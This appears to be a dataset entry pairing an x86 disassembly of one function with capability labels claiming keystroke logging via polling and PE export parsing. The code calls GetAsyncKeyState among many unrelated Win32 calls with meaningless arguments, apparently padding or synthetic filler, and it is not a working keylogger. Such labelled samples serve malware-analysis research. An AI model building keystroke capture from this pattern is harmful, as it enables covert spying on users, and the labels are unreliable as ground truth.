Function at 0x10001d8d
Capabilities:
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xf0
mov eax, dword [sym.imp.USER32.dll_CreateMenu]
call eax
mov ecx, esp
mov dword [ecx], 9
mov ecx, dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov dword [esp + 0xc4], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 0x20], 0xfea
mov dword [ecx + 0x1c], 0x7fc
mov dword [ecx + 0x18], 0x337
mov dword [ecx + 0x14], 0xf47
mov dword [ecx + 0x10], 0x497
mov dword [ecx + 0xc], 0x666
mov dword [ecx + 8], 0xfea
mov dword [ecx + 4], 0x7b7
mov dword [ecx], 0x4383bf
mov ecx, dword [sym.imp.GDI32.dll_ArcTo]
mov word [esp + 0xc2], ax
call ecx
sub esp, 0x24
mov ecx, esp
mov dword [ecx], 0x983332
mov ecx, dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [esp + 0xbc], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x672
mov ecx, dword [sym.imp.USER32.dll_GetKeyboardType]
mov dword [esp + 0xb8], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x3c9ad6
mov ecx, dword [sym.imp.USER32.dll_GetTopWindow]
mov dword [esp + 0xb4], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0xe2110f
mov ecx, dword [sym.imp.USER32.dll_PaintDesktop]
mov dword [esp + 0xb0], eax
call ecx
sub esp, 4
mov ecx, esp
lea edx, [esp + 0xd8]
mov dword [ecx], edx
mov ecx, dword [sym.imp.USER32.dll_SetRectEmpty]
mov dword [esp + 0xac], eax
call ecx
sub esp, 4
xor ecx, ecx
mov dword [esp + 0xa8], eax
mov dword [esp + 0xa4], ecx
jmp 0x10001fe9
mov eax, dword [esp + 0xa0]
mov ecx, 0x38e38e39
mov dword [esp + 0x9c], eax
mul ecx
shr edx, 2
imul eax, edx, 0x12
mov ecx, dword [esp + 0x9c]
sub ecx, eax
mov eax, ecx
sub eax, 0xa
mov dword [esp + 0x98], ecx
mov dword [esp + 0x94], eax
je 0x10001f1b
jmp 0x10001ee2
mov eax, dword [esp + 0x98]
sub eax, 4
mov dword [esp + 0x90], eax
jne 0x1000207f
jmp 0x10001efb
mov eax, esp
mov dword [eax + 4], 0x58
mov dword [eax], 0x58
mov eax, dword [sym.imp.SHLWAPI.dll_ChrCmpIW]
call eax
sub esp, 8
mov dword [esp + 0x8c], eax
mov eax, esp
mov dword [eax], 0xd41
mov eax, dword [sym.imp.USER32.dll_ShowCursor]
call eax
sub esp, 4
mov dword [esp + 0x88], eax
jmp 0x1000207f
xor eax, eax
mov ecx, esp
mov dword [ecx + 0xc], 0xdd3
mov dword [ecx + 8], 0xc51
mov dword [ecx + 4], 0x6b
mov dword [ecx], 0x63675a
mov ecx, dword [sym.imp.GDI32.dll_SetPixelV]
mov dword [esp + 0x84], eax
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, dword [esp + 0x80]
sub edx, 6
mov dword [esp + 0x7c], eax
mov dword [esp + 0x78], ecx
mov dword [esp + 0x74], edx
je 0x100021a9
jmp 0x10001f8a
mov eax, dword [esp + 0x80]
sub eax, 0x1e
mov ecx, dword [esp + 0x78]
mov dword [esp + 0x70], eax
mov dword [esp + 0x6c], ecx
je 0x100020a2
jmp 0x10002100
mov eax, dword [esp + 0x80]
add eax, 1
mov ecx, esp
mov dword [ecx], 0xf5a250
mov ecx, dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov dword [esp + 0x68], eax
call ecx
sub esp, 4
mov ecx, dword [esp + 0x68]
cmp ecx, 0x12
mov dword [esp + 0x64], eax
mov dword [esp + 0xa4], ecx
je 0x100021d8
mov eax, dword [esp + 0xa4]
mov ecx, esp
mov dword [ecx + 4], 0xd53
mov dword [ecx], 0x9dcb93
mov ecx, dword [sym.imp.USER32.dll_IsDlgButtonChecked]
mov dword [esp + 0x80], eax
call ecx
sub esp, 8
mov ecx, esp
lea edx, [esp + 0xe8]
mov dword [ecx + 4], edx
mov dword [ecx], 0x64228f
mov ecx, dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
mov dword [esp + 0x60], eax
call ecx
sub esp, 8
mov ecx, esp
lea edx, [esp + 0xc8]
mov dword [ecx + 4], edx
mov dword [ecx + 0xc], 0xa87
mov dword [ecx + 8], 0xe12
mov dword [ecx], 0xe15f71
mov ecx, dword [sym.imp.USER32.dll_DrawEdge]
mov dword [esp + 0x5c], eax
call ecx
sub esp, 0x10
mov ecx, dword [sym.imp.USER32.dll_EmptyClipboard]
mov dword [esp + 0x58], eax
call ecx
xor ecx, ecx
mov dword [esp + 0x54], eax
mov dword [esp + 0xa0], ecx
jmp 0x10001ea7
mov eax, dword [esp + 0x9c]
add eax, 1
cmp eax, 0x177
mov dword [esp + 0xa0], eax
je 0x10001f39
jmp 0x10001ea7
mov eax, esp
mov dword [eax + 0xc], 0x1e6
mov dword [eax + 8], 0xecd
mov dword [eax + 4], 0x488
mov dword [eax], 0x1e6
mov eax, dword [sym.imp.GDI32.dll_CreateRectRgn]
call eax
sub esp, 0x10
mov ecx, esp
mov dword [ecx], 0xdc5c1c
mov ecx, dword [sym.imp.SHLWAPI.dll_SHCreateShellPalette]
mov dword [esp + 0x50], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x54ef7e
mov ecx, dword [sym.imp.GDI32.dll_WidenPath]
mov dword [esp + 0x4c], eax
call ecx
sub esp, 4
mov dword [esp + 0x48], eax
jmp 0x100021a9
mov eax, dword [esp + 0x6c]
mov ecx, esp
mov dword [ecx], 0x246
mov ecx, dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
mov dword [esp + 0x44], eax
call ecx
sub esp, 4
mov ecx, dword [esp + 0x44]
add ecx, 1
mov edx, esp
mov dword [edx], 0x978738
mov edx, dword [sym.imp.GDI32.dll_GetBkMode]
mov dword [esp + 0x40], eax
mov dword [esp + 0x3c], ecx
call edx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0xc9bc5b
mov ecx, dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [esp + 0x38], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0x8c6
mov dword [ecx], 0x10f
mov ecx, dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov dword [esp + 0x34], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx], 0xb32932
mov ecx, dword [sym.imp.USER32.dll_OpenIcon]
mov dword [esp + 0x30], eax
call ecx
sub esp, 4
mov ecx, dword [esp + 0x3c]
cmp ecx, 0xa
mov dword [esp + 0x2c], eax
mov dword [esp + 0x6c], ecx
je 0x10001fab
jmp 0x10002100
mov eax, esp
mov dword [eax], 0xf5a250
mov eax, dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
call eax
sub esp, 4
mov ecx, dword [esp + 0x80]
add ecx, 1
mov dword [esp + 0x28], eax
mov dword [esp + 0xa4], ecx
jmp 0x10001fe9
mov esp, ebp
pop ebp
ret